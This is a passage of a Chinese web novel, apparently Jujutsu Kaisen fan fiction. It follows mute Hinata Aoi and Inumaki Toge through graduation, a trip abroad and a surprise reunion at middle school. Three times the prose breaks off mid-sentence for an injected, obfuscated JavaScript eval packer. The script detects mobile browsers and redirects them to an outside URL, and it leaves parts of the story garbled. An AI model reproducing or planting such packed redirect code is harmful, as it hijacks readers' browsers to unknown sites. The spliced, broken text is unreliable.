日向葵硬着头皮走回教室,拉开教室门,在狗卷棘一步不离跟随的视线下把排球放回储物柜,坐回座位,刚想抬手打手语就被狗卷按下了手腕制止。 他激动的大脑一片空白,忘记了自己准备了好久,改了好几个版本的开场白,眼睛里不容拒绝地写着“说话吧,我能看得懂”。 还没等两人用唇语交流上,狗卷棘已经无师自通地能跟日向葵用眼神沟通了。 日向葵不自然地抿了一下红润的嘴唇,意识到狗卷棘正一丝不苟地盯着自己的嘴巴看,又赶紧停下嘴部的动作,僵硬地不知道该干点什么。 她为数不多的惊慌失措,一大部分都贡献到了狗卷棘的身上。 良久没等到女孩开口,狗卷棘压在日向葵手腕上的手向下滑动包裹住日向葵攥紧的拳头,轻握了一下催促。 日向葵被这亲密的行为惊得讶异,瞬间更僵硬了。 反应过来自己做了什么,狗卷棘也被自己吓得害羞得耳尖通红,赶紧放开了手,身体向后仰,椅子腿却跟不上他后退的幅度,差点让他摔下椅子。 狗卷抓住椅子的靠背稳住身体,羞涩中又带着倔强地看回来,想让日向葵“说话”。 日向葵收回帮他稳定的手,被这么一出闹得也卸下来些身上的负担。 原本她以为无所适从的只有自己,没想到狗卷比她更慌乱一些。 但她也不知道该说点什么。 轻轻张合唇瓣,日向葵吐出狗卷棘的名字: “い、め、ま、き、と、げ” 她甚至无意识地放慢了口型,像是害怕对面看不懂自己在说什么。 狗卷棘瞳孔微缩,原本弯腰凑近看口型的身体也直立起来。 他看懂了日向葵在说什么。 这样再看不懂也太愚笨了。 他一开始就是从自己的名字,还有“你好”“谢谢”这些常用语练习的。 只是他没想到日向葵说的第一句话会是他的名字。 狗卷把眼神放回女孩的脸上才发现她的视线低垂,没有在看他,脸颊也染上一抹薄红。 他的心脏跳得更加欢快了,血液在身体里奔涌沸腾,出汗的手心又是一阵发麻。 一片安静中,日向葵最终还是败下阵来,用手覆盖住自己的眼睛彻底哪里也不看,嘴上说着: “别这样了,好吗?” 狗卷棘这才找回自己的意识,拉下口罩张合了几下嘴巴,勉强找回发声的方式,微弱的声音中带着沙哑: “抱歉。” 一直以来都对不起,这次也是。 “我还想和你说更多。” 所以对不起,原谅我好吗? 狗卷棘的忐忑消退,确认自己的言语真的失去了那股力量,只起到表述所思所想的作用。 他随着心意伸手拉下日向葵挡在脸上的手,握在掌心,露出日向葵湿润的眼眸,更显得其中的金色浓郁。 略显颤抖的声音里藏着干渴的意味,哄孩子一般开口: “来。” “再说几句好吗?” 我都能“听”到的。 26. 新生篇 日向葵到底是不知道该说点什么,只觉得氛围哪里说不出的古怪。 她心门上的锁被狗卷棘一次次滴水穿石,已经被铁锈食蛀得变脆却还坚守在自己的岗位上。 “……我们走吧。”日向葵“说”。 狗卷棘这才想起来还有训练营的课没上,不情不愿地起身背上书包。 但转念一想今天能跟日向葵一起走过去,心情就又从多云转晴朗。 十四天没有见面,狗卷棘憋了一肚子的话事无巨细地讲,连邻居家晒太阳的猫一个翻身摔倒在地上都提到了,用言语想把那一幕画给日向葵看。 他满心满眼都是日向葵,走在大街上说话身上的咒力也没有半点外溢到别的地方去,像是彻底摆脱了咒言术的束缚,成为能正常说笑的普通人。 日向葵耳边全都是狗卷棘的声音,絮絮叨叨的,还时不时停顿一下眼巴巴地等着她回话。 打手语的时候男孩还知道控制自己,不让日向葵因为回复他而变得疲惫,现下他完全刹不住闸,得到回应后也根本藏不住喜悦,就差蹦起来走路了。 但是日向葵竟然没觉得狗卷棘吵闹。 可能是因为男孩的声音松弛了之后像清澈见底的小溪,涓涓细流摩擦着岸边的鹅卵石直流而下,悦耳中洗净了烦躁。 狗卷棘的眼睛已经不在路上了,就盯着日向葵的嘴巴看,生怕漏了她的任何一句,好几次差点撞到电线杆上,被日向葵拉着才躲过去。 这样太危险了,日向葵想切换回手语平复一下狗卷的情绪,但只要一把手抬起来狗卷就会及时地拦下,反应迅速地拦下。 也不清楚日向葵是想打手语,还是想干点别的什么,一视同仁全部拦下,不给日向葵任何可乘之机。 再怎么拦正常一次也只能拦下一只手,但日向葵也是怕了狗卷棘的毅力,没有拿两只手交替着比划,去挑战狗卷不让她打手语的决心。 这一路磕磕绊绊地走进训练营,狗卷的嗓音由原本好久没启动干涩的沙哑,变成因为一路上都没停过嘴使用过度的沙哑,进了熟人堆里才重新做回安静的漂亮男孩。 他还没聊够,决定今后每天都等日向葵一起去训练营,不放过任何一次沟通的机会。 日复一日,狗卷棘容光焕发,日向葵语言系统的代码却错乱了,某一天回到家里对着日向女士的侧脸动了几下嘴巴,才意识到妈妈“听”不见,走过去拽住她的衣摆。 只有狗卷棘能第一时间发现她的靠近并关注她的动态,还没等她张嘴,认真的眼神就已经飞过来了,像是安装了精准敏锐的雷达。 被狗卷棘这么对待,她都要忘记自己是一个哑巴,恍惚中以为自己真的还能说话,摆出口型便会有无声的音符跳出来让人看见。 日向葵反思自己要被狗卷棘“惯”坏了,忽视心低的触动无比祈求毕业的到来。 没有办法主动拒绝,她只能借助成长的外力与狗卷棘分开。 该是时候了。 像是在备战高考,每过去一天日向葵就自己在心里给日历上的日期打一个叉。 她开始琢磨自己该升学去哪一个初中。 小学旁边没多远就有一个公立中学,对本地的学生条件宽松,教学水平也在中等偏上,是本地小学生的首选。 同时以日向葵能接受的上学距离画一个圆圈,远一些的地方有教学水平更好的中学,虽然这个中学有自己的的附属小学,一般只收附属小学直升的学生,其他学校毕业的学生想进去需要很高的偏差值。 但是偏差值对她来说不算问题。 日向葵在心中计较,一边帮助狗卷棘学习,一边在心里预估狗卷棘的分数。 以狗卷目前的成绩大概率够不上去远一点的那个中学所需要的偏差值,本地的公立中学对于他来说是最佳选择。 日向葵如释重负,这样她就不用依靠欺骗去诱哄狗卷棘跟她上不一样的中学。 她可以名正言顺的以追求更高的教学质量为理由,选择那所更远的中学。 还没等日向葵去找日向野子商量自己的想法,作为负责任的家长,日向女士早早就在考虑该让孩子升学去哪里了。 她的咨询来源更广,把附近学校要接手新年级的老师们的简历都搞到手,包含性别、性格、科目、教学风格等等,详细的不像是学校的资料库,像是找的私家侦探一个个跟踪撰写的。 更不用说每所学校的校风校纪,节假日如何放假,到特殊时间节点会举行什么活动,社团的种类和专业性……她也都有所了解。 挑来挑去,她没选附近这个走路就能到的,也没选远一些那个教学水平高的,而是选择了一个其他方面中等偏上,校园活动格外丰富的中学。 还是希望女儿能更活泼好动一些,把日向葵养得调皮也算是她的育儿目标了。 但是她也不愿意当那种一言堂的家长。当初上小学的时候她做主让日向葵从一年级重新读,没让孩子经历转校的尴尬期,却也导致孩子身边一个真正的同龄人也没有。 现在女儿也长大了,还是把选择权交还孩子的手里。 日向野子把整理的各个学校的资料精简再精简,没说自己的选择,只是拿给日向葵翻看。 日向葵感动地接过,仔细翻阅妈妈的心血。 日向葵:…… 她没把这些学校对比排出第一第二,反倒是发现了被日向女士暗地里偷偷种草的那所学校。 每所学校都各有所长,各有所短。刨除避开狗卷棘的因素,日向葵没有额外的偏好,但是从资料字里行间的排版来看,日向女士明显是对其中一所格外的用心。 每个段落中间都空一行,标点符号没有错误,重点位置换色加粗……日向野子的心思藏了但没完全藏住。 日向葵心中失笑,面色上却没体现,装作什么都没察觉,还是指向了自己之前认定的那所。 实在是加粗的地方大部分都在校园活动那页,日向葵想饶过自己,还是独处让她更自在些。 “……这所吗?可是这所离家有点远……”日向野子弱弱地提出。 日向葵坚定地点头。 日向女士强颜欢笑:“……好吧,那就这个了。” 她看到日向葵的选择失意得像霜打的茄子,但还是尊重了女儿的决定。 至于日向葵为什么选择这所学校,她自己补足了理由——自家女儿还是太上进了!就要去教学水平最高的。 孩子太努力了也是一种烦恼~ 坐在日向野子的对面,灰原雄抿了一口咖啡听野子发幸福的牢骚。他没孩子都觉得野子有些凡尔赛了。 他跟日向野子是旧相识,二人正在灰原雄开的面包店里讨论日向葵的教育问题。 以灰原雄对于养孩子的刻板印象来说,日向野子无疑是幸运的,从来没有因为孩子的成绩苦恼过,没有因为辅导孩子写作业抓狂过,甚至连孩子不够活泼这一点也存疑。 可能就是妈妈认为的不够活泼,大多数孩子都是在长辈和朋友面前两幅面孔。 以狗卷棘给他的反馈,日向葵在学校里是很受喜爱的。 难不成是因为太受喜爱,把人吓到社恐了导致不够活跃? 不能吧? 灰原雄看着被日向葵选择的那所学校的资料,想着是不是还有其他特殊的地方能吸引到女孩。 之前还未被整合的资料一半多是经他的手转交给日向野子的,当时就已经提前看过一遍了,但也是第一次看野子精简过的版本。 “……这个排球部常年排名县级第二,是男子排球部吧?” 被日向野子删的只剩“排球部”几个字了。 野子回忆:“对啊,一直是第二,也没什么可强调的。” 排名第一的那所离家太远了,根本没入围让日向葵选择的行列。 灰原雄不是很赞同:“我们县学校的排球队水平都挺高的,能一直拿第二已经很厉害了。” “……小葵是喜欢打排球的是吧?” 日向野子听出了灰原雄未尽数表达的意思——孩子不会是因为喜欢打排球,想跟志同道合的同学打比赛拿名次,才选择这所学校的吧? “……不能吧?”野子闻言手里的汤匙顿住。 她脑袋里还正在盘算该买辆什么车代步,时间合适就送女儿上下学,自己的驾驶证早就考了也别浪费,让女儿天天坐电车她也心疼…… 完了,那是男子排球部的成绩啊,女子排球部最厉害的在女校。这所学校因为缺少王牌,女子排球部的名次从来没进过前三! …… 日子一天天过去,随铃声响起,小学的最后一场考试宣告结束。 狗卷棘松下了神经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380299|168439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,放下笔等待收卷。 他这半年已经过得很幸福了,没想过自己还可以继续读普通的中学,但是不能愧对于日向葵的辅导,认真答完最后这张试卷。 期末这段时光狗卷每一天都像踩在云朵上一般梦幻。 日向葵愿意花费更多的时间与心思在他身上,但时间又像强风一样给他助跑,不允许有半分留恋的停留。 小学的毕业典礼迎来了樱花季。 飞舞的樱花增添了离别的浪漫和仪式感。 同学们少见的穿着统一的西装校服,打着领带,排列整齐站在礼堂内聆听校长致辞、老师致辞、家长致辞……冗长的过程因为是最后一次,也没让人觉得昏昏欲睡。 挨个学生上台领取校长颁发的毕业证书。轮到日向葵和自己班级孩子的时候,日向野子更加百感交集,偷偷在教师队列里抹眼泪,伤感孩子们成长得太快了。 最后一个环节是合唱校歌。即使发不出声音,日向葵也张开嘴在唱,与自己的小学时光告别。 狗卷棘来得晚,也说不了话,没有特意被教过校歌,只提前跟着其他同学一起捋过两遍,当然也没完全学会,幸好戴着口罩看不到他划水。 他下意识看向斜前方的日向葵,辨认她的口型,好像真的有听到女孩在唱歌一样。 同学们清脆的歌声充斥整个礼堂又飘出礼堂,让年年绽放的樱花听到,宣告小学时光的正式结束。 典礼告终,学生们自由活动聚在一起讨论自己要去哪个中学,有跟大家不一样的泛着泪花诉说离别。 狗卷棘也想再跟日向葵聊聊。 这可能是他们最后一次见面了…… 半路上有被女生拦下请求他身上的纽扣,狗卷棘不明白要纽扣是什么意思,也不好意思把私人物品给别人,委婉地拒绝了。 但他被点醒——可以跟日向葵要一个物品留作怀念。 等找到日向葵,女孩已经被同学围起来了。 日向葵外套上的纽扣早已被植野直花提前预订。 学校制服的西装外套是双排扣,植野直花不拘泥于要第二个扣子,就要最靠近心脏的那一颗。 考试之前她就先下手为强,避开狗卷跟日向葵说了这件事情,日向葵也没什么犹豫的,直接答应下来。 其他同学看到日向葵拿着剪刀裁纽扣,也蠢蠢欲动围过来。 胆子大的已经开口在要了,日向葵也来者不拒,都在同一个班级做同学6年了,只要张口要就给。 校服正面一共就六个扣子,算上袖扣才8个,日向葵没一会儿功夫就裁下了4个扣子。 狗卷棘见此生出一分焦急。 纽扣到底有什么含义?怎么大家都在要扣子? 比他更着急的是日向女士班级的两位女生,推拥着西宫硝子就闯进包围圈,打断了要纽扣的火热氛围。 西宫硝子也没想到自己能被这么推进来,身边是自己相处过但没成功交好的上一任班级同学,畏缩的像被人类包围的松鼠。 气氛一下子冷场,有觉得尴尬的离开了这里。 西宫身后的两个女同学正是运动会给她加油的两位,一点也不怯场,挠着西宫的痒痒□□她开口。 西宫又惶恐又憋着笑,只好给自己打气,用自己颤抖尖锐的嗓音,控制不住的大音量对着日向葵道: “日向同学!请、请给我一个、纽扣!” 日向葵不紧不慢在拆,把扣子拿在手里等着西宫嘚嘚嗦嗦说完话才递出去。 西宫硝子没想到这么容易,还没回过神,下意识小声嘟囔着谢谢,又被两个女生簇拥着离开。 纽扣已经一颗不剩,狗卷棘有些遗憾。 他在一旁站着刚被好心人科普了一下纽扣的含义,自己没有拿到,但还是为自己的师傅开心。 同学们散去,日向葵收拾好拆下的线头揣进兜里,往狗卷棘的方向走去。 她这些天想了很多,很感谢狗卷棘对她一点一滴汇聚成汹涌波涛的付出,却没什么等值的东西可以拿出来回赠。 思来想去,她去洗手间把内里衬衫上的纽扣拆下来一个。 狗卷拿真心待她,她没办法回应,只能拿这颗真正与心脏离得最近的纽扣来填债。 “对不起。” 狗卷棘这次没有看到日向葵的口型,捧着纽扣如获至宝。 27. 新生篇 毕业典礼一结束日向野子就带着日向葵踏上了出国的航班。 她骨子里是个能吃苦的人,但不能一直吃苦,要不也不可能放弃高昂的工资离开上一家单位来当小学老师。 当然当老师也不是什么轻松的工作,尤其是当班主任,需要操心的琐碎事情就更多了。 也就是孩子们除了调皮捣蛋也有真挚可爱的时候,心思都写在明面上,大多时间不用扮作傻子暗地里去猜测上司的心思,她才能从这份工作中得到乐趣,坚持到现在。 现在她成功把一个班级带到毕业,这个假期将会轻松无比,不用补教案,不用家访,也没有学校安排的其他工作,免不了要好好犒劳自己一下——出去旅个游。 就像是从上一份工作离开的时候,用自己积累的财富出门按照自己的节奏体验不同的风土人情,就是对她来说最好的休息。 而日向葵就是她最好的旅游伙伴。 她与女儿最初的相处磨合就是在上次辞职后的旅行。 当时她思虑很多,不想去在男女之间的亲密关系中消耗自己的情感与精力,就想着无痛当妈,给自己找个陪伴,长大了也能帮她养老,还能给某个孤儿一个家,也算是一举多得。 她很犹豫是在旅游之前领养孩子,还是在旅游之后领养。 在旅游之前领养就能把孩子也带着出去玩,可旅游途中就多了一份顾虑,孩子一下子到了别的国家,语言都不通,应该也不适应。 在旅游之后领养可以把孩子直接带入稳定的生活当中,但是不带着孩子出门玩又感觉是自己吃独食,对不起他或者她。 还没正式去福利院看孩子,日向野子就在纠结怎么养孩子了。 莫名其妙路过的某位大少爷好奇她的愁绪,死缠烂打问出原因,毫不客气地嘲笑: “说的跟已经有孩子了一样~” “你问问呗,管那个孩子是不是为了迎合你给的违心的答案,拿出你察言观色的功力一眼不就看出来了。” 又欠揍地补充:“不会是干了这么多年连小孩子都看不穿吧~” “还是说没攒下什么钱心疼自己的腰包?” “要不要我赞助点?” 少年口吻调笑,手里还煞有其事地摸出一张信用卡在指间来回把玩,把日向野子惹恼了。 这种人到底是什么谁在仰慕啊?! 要不是打不过她早就上手了! 日向野子当然没接那张卡,安抚自己话糙理不糙,就去少年随口推荐的福利院走了一趟,一眼就相中日向葵,并带着出了国。 日向葵对于玩乐没有很大的欲求,属于能玩玩,不能玩就算了。 碰上要排队很长时间的项目也能乖巧地陪在日向野子的身边不作妖,有不方便带她的地方也能一个人待在宾馆里自娱自乐,照顾好自己。 日向葵全程没有表现出一点被委屈到的状态,日向野子也因此玩得很自由无压力。 那一趟旅程二人没有多长时间的别扭期,都是很顺利代入了自己的角色,严丝合缝拼凑成一个家庭。 上次的旅游以玩乐为主,这次就是以观赏风景为主。 日向野子精心挑选的北欧小国家,是恬静与悠然的代名词,建筑物稀疏且复古,把大片土地留给恣意生长的花草树木,就像是动漫电影中描绘的场面。 目之所及随意截下来一张都可以当做电脑屏幕的壁纸,日向女士懊恼自己没去学绘画,浪费了这么好的景色,转头扔下想法拿着照相机一张接一张地拍。 等到日向一家经历完这场大自然的洗礼,离开学季也不远了。 霓虹学校的毕业季和开学季都选在樱花盛开的时刻。 日向野子虽然是无负担地出门玩,但是身为一名老师也不可能卡着学生返校的时间上班,都是要提前到校准备的。 而且日向葵的入学典礼要更早,也需要休整一下,先去学校领取校服和教科书。 赶在还没正式开学,日向葵往训练营走了一趟。 她报的课正好在小学毕业之前结束,后续因为消费到达额度,训练营的场地是终身免费向她开放的。 但是上中学后这个训练营就不顺路了,她也就每周休息的两天可以专门过去锻炼一下。 日向葵这次来训练营也不是为了锻炼,她想着碰碰运气看能不能遇到狗卷棘。 他们之间并没有一个正式的告别。 最后相处的那天狗卷棘笑得没心没肺,像以往一样看见什么都跟她说两句,半点没有显露出即将分离的感伤。 日向葵也不想主动提起别离坏了气氛,只是对着狗卷棘更多了几分耐心,表情也柔和许多,令狗卷棘受宠若惊。 那天她给了狗卷棘一颗纽扣,对于意义来说算是贵重,对于价值来说,称不上是一份礼物。 日向葵人到了北欧也在思考这件事情,看见什么都感觉还不错,不知不觉就拿积攒的零花钱买了一大袋子的伴手礼。 即使这样她还是觉得不够,但也没办法用礼物填平狗卷棘为她付出的心意,还是收手只把这袋子的伴手礼带回来,想着拜托山本教练转交给狗卷棘。 日向野子还在想自己的女儿买了这么多伴手礼,看来是真的和小学同学们关系很好,毕业后出来旅游也不忘了买礼物,高兴自己当时让女儿从一年级开始读不是个错误的决定。 只是这关系好的人也太多了,日向野子庆幸女儿在自己还没想好怎么劝的时候就收了手。 再多买一点海关那里可能就要没收了。 把那一大袋子伴手礼扛在肩上,日向葵另一只手推开了训练营的大门,正遇上闲的没事儿自己刚练了一会儿的山本川岛。 山本教练被日向葵身后的袋子吓得退后几步,揉了揉眼睛还以为圣诞老人跨了个年终于记得来送礼物了,空白了几秒才认出是日向葵。 “……啊,小葵你回来了?北欧那边怎么样啊?好玩吗?” 这北欧物价是高还是低啊,那袋子里是礼物?总不能是去北欧玩了一圈破产了,在收废品发家致富吧? 他甩了甩脑袋抛开自己天马行空的想法,接过日向葵从袋子里取出的一盒巧克力。 “谢谢小葵~”果然是礼物啊,其他的是给谁的?一个一个发也太不容易了。 这个时间节点来训练的孩子少之又少,山本川岛正好不忙,想着帮帮日向葵: “要不要我……” 日向葵停下笔,把本子放到山本面前: 「麻烦您把这些转交给狗卷棘。」 “……啊,这些?所有吗?”山本瞬间知道自己手里的巧克力不是伴手礼,是报酬。 这么一大袋子,都给狗卷棘?! 是狗卷找她代购的吗?? 日向葵点头表示认同,但是山本教练心有余而力不足。 “那个,狗卷君也一段时间没来训练营了。”山本挠挠脸说道。 应该是日向葵出去旅游之后,狗卷棘就来过一次。 “我打电话联系过,狗卷爸爸就说是有事情,估计这一段时间都不会来了。” 幸好报的那些课都没退,要不山本真的哭晕在被窝里。 闻言日向葵有些遗憾,力气都小了一些,把放在地上的袋子重新抗回肩上,又被惯性带着踉跄几步。 “唉唉唉……”山本赶忙上去护了一下。 日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380300|168439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向葵摆手表示没事儿,单手比出「谢谢」。 山本川岛:“不客气~” 他又没帮上什么忙,还白得一袋巧克力,小葵还是太有礼貌了~ “对了,不久之后有个跑酷锦标赛……” 日向葵又摆了摆手。 山本秒懂:“好,你慢点走啊,小心点。” 这么多年他都没劝动日向葵参加过一次,但还是不死心,每一次都要问一问。 这孩子也太沉稳了,身手这么好也不想着在别人面前展现一下,炫耀炫耀。他这个教练都憋不住逢人就显摆自己手底下的学生练得有多好。 原本还想说服狗卷棘参加的,结果那孩子也不来训练营了,估计也没可能。 本来相关赛事就少,两个得意弟子还都不参赛,这一届剩下的孩子也不错,但也没办法跟对家训练营的尖子生比,天知道他山本川岛等到比赛的时候会不会流着面条泪,憋屈得想找块手帕咬! 山本川岛在门口目送着日向葵离开,看着小小的背影渐行渐远,还是不放心。 “哎,小葵,我送你吧!等一下,我把车开出来!” * 车子路过面包店,日向葵透过两层玻璃看到店铺里有条不紊在忙碌的身影,知道该托谁来送这一大份的伴手礼了。 她没让山本教练把车停在面包店门口,还是先回了家,把伴手礼放在玄关,走向妈妈的房间。 今天日向野子难得懒散,还窝在被子里睡懒觉,日向葵趁着她不注意把那一袋子东西扛出家门,免得她发现这些东西都是送给同一个人的,再促狭地来问。 结果还是躲不过,比起主动去拜托灰原雄帮忙转送,她更想让日向女士去联系灰原雄,在他俩中间当个隔断。 被八卦几句都显得微不足道。 日向野子已经睡醒了,就是在床上磨蹭磨蹭,享受这不可多得的闲适。 她听到开门的声音知道应该是日向葵弄出来的动静,伸了个懒腰在床铺上挪动翻身,想要调整到更舒适的姿势。 仔细辨别却发觉是大门被打开的声音,动作停顿了一秒弹射起步,直接套上拖鞋“哒哒哒”往客厅去,正要喊出女儿的名字看看还在不在家,又被站在门口的日向葵噎得哽了回去。 “……你从外面回来的?” 自家女儿穿戴整齐,不是日常的居家服,身上还带着被冷空气裹挟后留下的微微凉意,结合刚刚开门的声音,日向野子虽然是在问,其实脑袋里已经得出了答案。 日向葵也没想着隐瞒这一点,只写道自己发现妈妈没起床就独自出门溜达了一圈,早上就把那一袋子的伴手礼拖到门口,等着日向女士起床后帮她去送。 看完后日向野子勉强接受这个说法。 虽然有些地方稍显别扭,但她也是想像不到自己的女儿是除了那盒巧克力,这袋子该是什么样还是什么样,原封不动又扛了回来。 她跟日向葵说过要借辆车陪她把礼物挨家挨户送完,现在看到女儿准备好了,自己也不能拖后腿,转身要去洗漱却被女儿拦下。 「送给一个人就好,灰原哥知道他家的地址。」 “啊?谁?哪个男孩?”仔细想想地址的问题,日向野子就能知道女儿说的是狗卷棘,但是她的大脑迅速被要跟着猪跑的白菜形象侵占了。 「狗卷棘。」 “……这一大袋子,都是他的?!”日向野子刚起床还没打开的嗓子疑惑惊讶到破音。 日向葵在挑选的时候她也在一旁出谋划策,说这个适合男孩,那个适合女孩。 合着狗卷棘既是这个男孩,又是那个女孩? 这种情况是对劲儿的吗?? 28. 初中篇 入学日,日向葵对着镜子整理自己的新校服。 不同于小学宽松的管制,只需要在重要的场合统一服装,到了初中校服就变成了必要的日常穿搭。 对此日向野子表示遗憾,上学不能穿私服严重缩减了她给女儿搭配着装的空间,但是对于这所学校的审美,她还是很认同的。 校服的主要配色是蓝色与白色。翻领是蓝色,领结是蓝色,下半身飘逸的水手裙也是蓝色,其余的地方都是白色的,还有零星的白色条纹点缀在蓝色当中。 搭配一双纯白的膝袜,一眼看过来仿佛站在晴空下,聆听蓝白色的海浪拍打礁石。 而日向葵的眼眸像是从海岸线下升起的太阳,高高挂在晴空当中照亮万千,却不炽热,另有海风拂面带来清爽。 没办法错过女儿的每一个瞬间,早在试穿校服的时候日向女士就举着照相机拍照留念了。 这次入学典礼她更是要盛装出席,不亏待任何一个重要时刻,随时准备掏出照相机帮女儿出片。 家里那一柜子的影像集就是她奋斗的证明,是她的荣誉证书。这次她又特意买了一个新的厚的相册,翻开记录的新篇章。 日向野子没向灰原雄借车,而是和女儿一起坐电车走了一趟上学路。 这条路日向葵将要一个人走上百遍千遍,但第一遍她是要陪着的,有了这一遍她才放心让日向葵自己走这条路线。 下了电车,转两个弯,距离学校最近的那条道路两旁都栽种着应季的樱花。 站在船头掌舵的水手与柔美绚烂的樱花碰撞,两个世界的景色就此交融,迸发出独特的时空色彩,仿佛柔弱的樱花迎上辽阔的大海,透出一份不屈的坚韧。 日向野子手上“咔嚓”声不断,各个角度抓拍,路过的学生被惊得绕行,还有人前后张望确认是不是有明星出街。 日向葵习以为常,也不会因为觉得不好意思而回去阻止日向女士,依旧独自在前方走,反而一时没让同学们分辨出来到底是在拍谁。 进入校园,典礼还没正式开始,同学们和来观礼的家长们按照指示进入礼堂。 日向葵告别了去跟其他家长社交的妈妈,找到班级的区域,跟在正在排列的队伍后面站好。 神游着不知道该干点什么,她无意识在听前面不远处两个女生攀谈。 是刚刚才认识的,一位外向活泼,一位温柔内敛。 活泼的那位想到什么说什么,讲着对于崭新校园生活的向往,也向对面科普一些校园里的规矩和见闻,应该是从附属小学直升上来的。 脸颊上的红晕久久不散,眼神灵动倾慕,活泼女生像是被对面的美貌与气质吸引着才忍不住上前结交。 温柔的女生在倾听与应和,微露的侧脸眉眼柔和,挂着宛如大和抚子般和煦的笑容,让人忍不住亲近。 她眼波微转,瞥见了站在后面的日向葵,眸色一亮却紧接着僵硬了一瞬,收回视线继续与活泼的女生说笑。 日向葵被发现了也不好再接着偷听,把注意力放到礼堂大幕的褶皱上。 没一会儿一股馨香靠近了她。 “你好~” 束着高马尾的温柔女生弯着眉眼特意走到她身边,像是怕她听不见,比正常的交谈距离更近几厘米。 日向葵也条件反射回以微笑,脚下微微往旁边挪动,眼底藏着诧异。 照她的想法,来搭话的就算是那位活泼的女孩也不该是这位温柔的,看着就不像是愿意到处聊天主动认识新同学的人。 而且还是略过身边的其他人点对点地找到她来交谈。 日向葵偏头看过去,活泼女生已经跟身边的另一个人聊上了。 果然真正喜欢聊天的人一般都是就近原则,无差别地聊。 难不成是因为刚才的对视导致现在的状况? ……还是不该随便乱看的。 日向葵暗自反思,但也不能把女生晾在一边,拿出笔记本: 「你好,我叫日向葵。」 「我不太方便说话。」 女生注意到日向葵的小动作,自己不好意思地往后挪了小半步,耐心十足地等待日向葵写完这两句话。 从日向葵手里接过笔记本仔细阅读,也没表现出多余的惊讶,眨眼间就接受了日向葵不能讲话的事实。 也不好奇日向葵为什么不方便说话,女生补全了自己的自我介绍: “你好,日向同学。我是伏黑津美纪,叫我津美纪就可以了。” “以后请多多指教~” 好像就是为了来打个招呼,津美纪关上自己的话闸,在原地犹豫了两秒就告别走回了原先的位置,留下一头雾水的日向葵。 她不知道津美纪不再抛出话题是怕总写字回复麻烦到她,她也不清楚津美纪很开心能跟她搭话,觉得二人的友谊有了个好的开端。 她只明白,比起“津美纪”,她以后更想称呼女生为“伏黑同学”。 太靠近了。 日向葵默默把自己的位置改到后面,更加远离伏黑津美纪。 感觉温柔女生好像早就认识自己一样……有可能会发展成跟狗卷棘一样棘手的人物。 * 典礼即将开始,老师过来调动学生们的站位,让身高显得更加协调。 日向葵已经退后几排,但还是有来得晚的矮个子站在她身后。 老师走过来拍了拍她的肩膀,引导她向后退,刚侧过身子,突然一道银白色擦过她的视线向前移动。 日向葵停住脚步,瞪大了双眸,瞳孔极速扩张,连呼吸都变得小心翼翼。 无视老师的催促,她目光追随那个身影,盯着对方莫名缩着的脖颈,嘴唇在无人注意下微动: “……狗卷棘?” 男孩没听到女孩无声的呼唤,快步站到合适的位置,吝啬地不给身后一个眼神。 日向葵在老师的拉拽下站定,还是不敢相信自己看到了什么,锐利的眼神要扎透狗卷棘的背影。 大脑中飞速闪回自己之前的盘算,检查有什么遗漏的地方。她自信到领校服那天都没去翻看班级同学的名单,没想到在开学典礼上被猝不及防的现实重重砸了一拳。 肯定不是凭成绩考上的,那就只剩特长生和砸钱两条路。 狗卷棘体育很好但从来没有进行过什么特长的评定。 家里就算是殷实,在出钱报名了那么多训练营课程后还能有闲钱可以砸动学校给他一个入学名额,砸到能跟她分在同一个班级……这怎么可能? 狗卷家难不成是低调的富豪吗?? 而且以狗卷的性格,看见她的第一秒就应该无视别人贴过来了,怎么可能安分地站在后面,连擦肩而过都没有理会她? 问号充斥日向葵的大脑,却无人能为她解答。 揣着答案的狗卷棘半低着头,在后悔自己的怯懦。 他当然第一时间就发现了日向葵,但诸多原因掺杂在一起,让他没能一下子厘清,去心无芥蒂地诉说能跟女孩继续上同一所中学的喜悦。 ……他收到警告了。 收到来自那位已经晋升成为咒术界御三家最年轻家主的男人——五条悟的警告。 一切都要从他还在咒术学校的时候说起。 那时他的心理已经处在即将崩溃的边缘,一面被同学霸凌打压令他憎恨,一面控制不住咒言术伤人伤己令他痛苦。 没办法在父母面前继续装成无事人,狗卷夫妇用尽关系向上沟通,想把孩子拯救出来,哪怕是得到只足够喘息的时间也可以。 迂腐庞大的机构摸不到门,是不知道从哪里了解到情况的五条悟踹开了一道,混不吝地威胁校方放了人。 咒术界稀缺只付出不求回报的大善人。 浸泡在染缸里凭实力养出狂狷不羁的性格,年纪轻轻就拥有如今成就的五条悟显然不是这种人。 他扛住了上层可能施加的对他来说轻飘飘的压力,把狗卷棘归到自己的羽翼下,提出自己的条件—— 狗卷棘今后会接受他的教导,升入东京都立咒术高等专门学校,成为他的学生。 这涉及到站队的问题,与代表革新的五条悟对立的几乎是咒术界的其他所有人。 但是只要是入了咒术界的门,性命就已经堪忧了,只有足够 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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……要是年纪轻轻就守寡了可怎么办??? 灰原雄想劝自己的学长冷静点别想那么多,被对面特制纯黑墨镜上方露出的凌厉眼神定在原地,缓了一会儿去后厨做甜品了。 